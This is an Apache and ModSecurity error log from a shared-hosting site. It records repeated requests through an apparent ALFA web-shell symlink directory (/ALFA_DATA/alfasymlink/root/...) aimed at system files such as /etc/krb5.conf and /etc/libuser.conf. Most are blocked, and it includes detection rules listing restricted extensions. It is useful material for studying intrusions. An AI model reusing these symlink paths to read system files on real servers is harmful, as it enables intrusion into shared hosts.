[Mon Oct 26 03:26:20.868611 2026] [security2:error] [pid 2963542:tid 2963542] [client 85.208.96.203:60366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/krb5.conf"] [unique_id "at8AnN8riwHadHMxXEF1CwAAACU"]
[Mon Oct 26 03:26:23.440180 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 34.234.206.30:18094] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:27.311219 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 184.73.68.20:10030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:31.379349 2026] [core:error] [pid 2984462:tid 2984462] (13)Permission denied: [client 52.45.194.165:35402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/bind
[Mon Oct 26 03:26:35.351896 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 184.73.195.18:55699] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:43.416500 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 3.222.190.107:52287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:51.645887 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 54.225.98.148:28922] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:55.373051 2026] [core:error] [pid 2978288:tid 2978288] (13)Permission denied: [client 52.45.77.169:16110] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event1/subsystem/input1/device/firmware_node/physical_node1/driver/serio0/driver/bind
[Mon Oct 26 03:27:02.153591 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 85.208.96.194:65124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/order
[Mon Oct 26 03:27:04.222941 2026] [core:error] [pid 2984462:tid 2984462] (13)Permission denied: [client 34.238.45.183:3112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:09/subsystem/drivers/hpet/unbind
[Mon Oct 26 03:27:11.474528 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 52.203.65.83:22754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/drivers/button/bind
[Mon Oct 26 03:27:23.832231 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 3.219.80.71:37870] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:27:28.062476 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 34.205.163.103:8951] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:27:31.426002 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 23.23.180.225:49597] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:27:35.298578 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 44.212.106.171:37363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:27:47.522416 2026] [ssl:error] [pid 2984441:tid 2984441] (5)Input/output error: [client 52.54.95.127:63269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:27:51.455652 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 98.84.131.195:13410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:27:59.172444 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 34.224.132.215:47683] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/usb1/driver/bind
[Mon Oct 26 03:28:22.922426 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 54.166.126.132:61128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/subsystem/drivers/processor/cpu0/crash_notes
[Mon Oct 26 03:28:27.206581 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 52.0.63.151:30809] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/ec/bind
[Mon Oct 26 03:28:31.053698 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 98.84.60.17:32671] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:28:46.822607 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 18.205.213.231:15772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:28:54.628917 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 54.157.84.74:49925] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:28:58.679300 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 54.198.33.233:27593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:29:15.625391 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 18.232.11.247:63905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:29:22.601241 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 34.194.233.48:53687] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:29:26.475033 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 184.73.195.18:24428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:29:30.458599 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 52.45.77.169:43671] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:0e/subsystem/devices/device:03/physical_node/resource0
[Mon Oct 26 03:29:38.491988 2026] [ssl:error] [pid 2992167:tid 2992167] (70014)End of file found: [client 100.28.118.16:53489] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:29:42.385161 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 18.211.148.239:58032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:29:46.373724 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.200.142.199:63666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:29:51.466386 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 85.208.96.196:56220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/slabs
[Mon Oct 26 03:29:54.336736 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 34.236.135.14:57667] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:29:58.375998 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 52.0.105.244:51428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:30:02.241902 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.3.156.186:61722] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:30:06.379328 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 54.164.106.236:32978] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:30:14.252461 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 34.235.239.240:25229] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:30:18.345612 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 54.156.55.147:26109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:30:30.215057 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 52.3.104.214:12804] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:30:31.828927 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 185.191.171.3:37176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/store_user
[Mon Oct 26 03:30:39.452374 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 185.191.171.5:40728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:30:58.260142 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 3.209.174.110:3448] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:31:02.380229 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.0.41.164:17064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:31:06.180815 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 34.231.118.144:12534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:31:14.197202 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 34.226.89.140:26768] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:31:26.393670 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 3.211.181.86:11341] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:31:26.844438 2026] [security2:error] [pid 2984174:tid 2984174] [client 107.172.76.131:52047] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8Bw39jXGqHxPWOUzy_8AAAAAM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 03:31:26.844490 2026] [security2:error] [pid 2984174:tid 2984174] [client 107.172.76.131:52047] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8Bw39jXGqHxPWOUzy_8AAAAAM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 03:31:38.195730 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 184.73.239.35:21576] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:31:42.190381 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 44.223.193.255:43998] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:31:46.248391 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 52.4.238.8:57593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:31:47.848497 2026] [security2:error] [pid 2984450:tid 2984450] [client 107.172.76.131:52050] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8B1sXfkN7WrB_bUyLhvAAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 03:31:47.848566 2026] [security2:error] [pid 2984450:tid 2984450] [client 107.172.76.131:52050] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8B1sXfkN7WrB_bUyLhvAAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 03:31:50.187005 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 185.191.171.19:16160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/cpu_slabs
[Mon Oct 26 03:31:58.213686 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 98.82.66.172:57681] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:32:02.213805 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 98.83.177.42:62405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:32:14.310071 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 54.235.125.129:30786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:32:18.175800 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 54.83.56.1:5096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:32:18.544035 2026] [core:error] [pid 2982126:tid 2982126] (13)Permission denied: [client 85.208.96.195:45208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/free_calls
[Mon Oct 26 03:32:18.544408 2026] [security2:error] [pid 2982126:tid 2982126] [client 85.208.96.195:45208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/free_calls"] [unique_id "at8CAmOlQEA7vTaN5Z-idwAAABA"]
[Mon Oct 26 03:32:18.544454 2026] [security2:error] [pid 2982126:tid 2982126] [client 85.208.96.195:45208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/free_calls"] [unique_id "at8CAmOlQEA7vTaN5Z-idwAAABA"]
[Mon Oct 26 03:32:20.964042 2026] [security2:error] [pid 2990575:tid 2990575] [client 85.208.96.197:21522] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/90mdraid/parse-md.sh"] [unique_id "at8CBDnj8sJWmxnIswzNnQAAAAQ"]
[Mon Oct 26 03:32:20.964086 2026] [security2:error] [pid 2990575:tid 2990575] [client 85.208.96.197:21522] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/90mdraid/parse-md.sh"] [unique_id "at8CBDnj8sJWmxnIswzNnQAAAAQ"]
[Mon Oct 26 03:32:22.196905 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 98.84.60.17:7314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:32:26.208716 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 98.82.38.120:54943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:32:30.178299 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 52.4.238.8:22489] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:32:46.032208 2026] [security2:error] [pid 2982126:tid 2982126] [client 216.244.66.250:46050] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "at8CHmOlQEA7vTaN5Z-ieQAAABA"]
[Mon Oct 26 03:32:46.032575 2026] [security2:error] [pid 2982126:tid 2982126] [client 216.244.66.250:46050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "at8CHmOlQEA7vTaN5Z-ieQAAABA"]
[Mon Oct 26 03:32:46.032817 2026] [security2:error] [pid 2982126:tid 2982126] [client 216.244.66.250:46050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "at8CHmOlQEA7vTaN5Z-ieQAAABA"]
[Mon Oct 26 03:32:46.168714 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 54.209.100.30:8784] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:32:46.168890 2026] [security2:error] [pid 2990575:tid 2990575] [client 54.209.100.30:8784] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory7/power/runtime_active_time"] [unique_id "at8CHjnj8sJWmxnIswzNnwAAAAQ"]
[Mon Oct 26 03:32:46.168912 2026] [security2:error] [pid 2990575:tid 2990575] [client 54.209.100.30:8784] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory7/power/runtime_active_time"] [unique_id "at8CHjnj8sJWmxnIswzNnwAAAAQ"]
[Mon Oct 26 03:32:50.187147 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 3.211.105.134:29854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:32:58.312447 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 34.196.114.170:42725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:33:02.179763 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 52.45.92.83:2897] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource2
[Mon Oct 26 03:33:06.186070 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 18.215.49.176:1446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:33:14.401883 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 34.205.170.13:34216] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:33:18.200384 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 34.192.67.98:38541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:33:26.177811 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 98.83.10.183:38500] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:33:30.181699 2026] [security2:error] [pid 2982084:tid 2982084] [client 54.198.33.233:39864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/24/"] [unique_id "at8CSjDO8MpTZE2iHS580AAAAAk"]
[Mon Oct 26 03:33:30.181746 2026] [security2:error] [pid 2982084:tid 2982084] [client 54.198.33.233:39864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/24/"] [unique_id "at8CSjDO8MpTZE2iHS580AAAAAk"]
[Mon Oct 26 03:33:34.182950 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 44.223.232.55:9528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:33:38.171455 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 54.166.104.83:16832] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:33:50.237667 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 18.211.148.239:43539] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:33:58.156918 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 52.203.68.145:26826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:34:14.166684 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 34.236.135.14:48036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/serio/drivers/atkbd/unbind
[Mon Oct 26 03:34:18.168970 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 18.207.79.144:33512] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:34:22.246530 2026] [core:error] [pid 2984073:tid 2984073] (13)Permission denied: [client 144.76.19.24:25108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/dev/fd/8
[Mon Oct 26 03:34:26.209905 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 34.231.77.232:25858] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:34:35.730568 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 216.244.66.250:54446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/skipsmtpcheckhosts
[Mon Oct 26 03:34:41.645173 2026] [core:error] [pid 2992282:tid 2992282] [client 34.53.184.212:54128] AH00135: Invalid method in request LISM / HTTP/1.1
[Mon Oct 26 03:34:42.178789 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 54.85.126.86:17759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:34:50.164061 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 52.73.142.41:55813] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:34:54.255486 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 3.235.215.92:15698] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:35:02.379121 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 54.90.8.255:31058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:35:13.103966 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 185.191.171.12:41030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:35:14.204189 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 98.84.60.17:63687] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:35:18.168089 2026] [core:error] [pid 2984462:tid 2984462] (13)Permission denied: [client 3.221.244.28:32897] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/remove_id
[Mon Oct 26 03:35:28.059668 2026] [security2:error] [pid 2984441:tid 2984441] [client 119.28.140.106:55802] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_morelos_1.html"] [unique_id "at8CwKy4l0fHhEjHUwfLpAAAAAo"]
[Mon Oct 26 03:35:34.255285 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 54.204.62.163:3078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:35:54.253611 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 44.210.213.220:63180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:36:10.198586 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 98.84.131.195:18880] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:36:18.249219 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 98.82.63.147:8430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:36:22.162357 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.200.142.199:16911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:36:26.322795 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 34.202.88.37:19532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:36:30.160394 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 52.3.102.51:54034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:36:42.315585 2026] [ssl:error] [pid 2984261:tid 2984261] (5)Input/output error: [client 52.71.203.206:48326] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:36:58.439191 2026] [security2:error] [pid 2984452:tid 2984452] [client 107.172.76.131:52046] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8DDens9GI20tQzjLT5fgAAAB0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 03:36:58.439241 2026] [security2:error] [pid 2984452:tid 2984452] [client 107.172.76.131:52046] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8DDens9GI20tQzjLT5fgAAAB0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 03:37:02.299933 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 3.213.106.226:46042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:37:06.346739 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 100.28.204.82:12401] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:37:18.224727 2026] [ssl:error] [pid 2992770:tid 2992770] (70014)End of file found: [client 3.208.146.193:39430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:37:26.198893 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 52.44.229.124:65485] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:37:30.239216 2026] [core:error] [pid 2992770:tid 2992770] (13)Permission denied: [client 52.2.58.41:62094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/custom_divisor
[Mon Oct 26 03:37:38.255058 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 100.29.34.97:56611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:37:50.163121 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 54.156.124.2:2448] AH02013: coalesce failed to read from data bucket
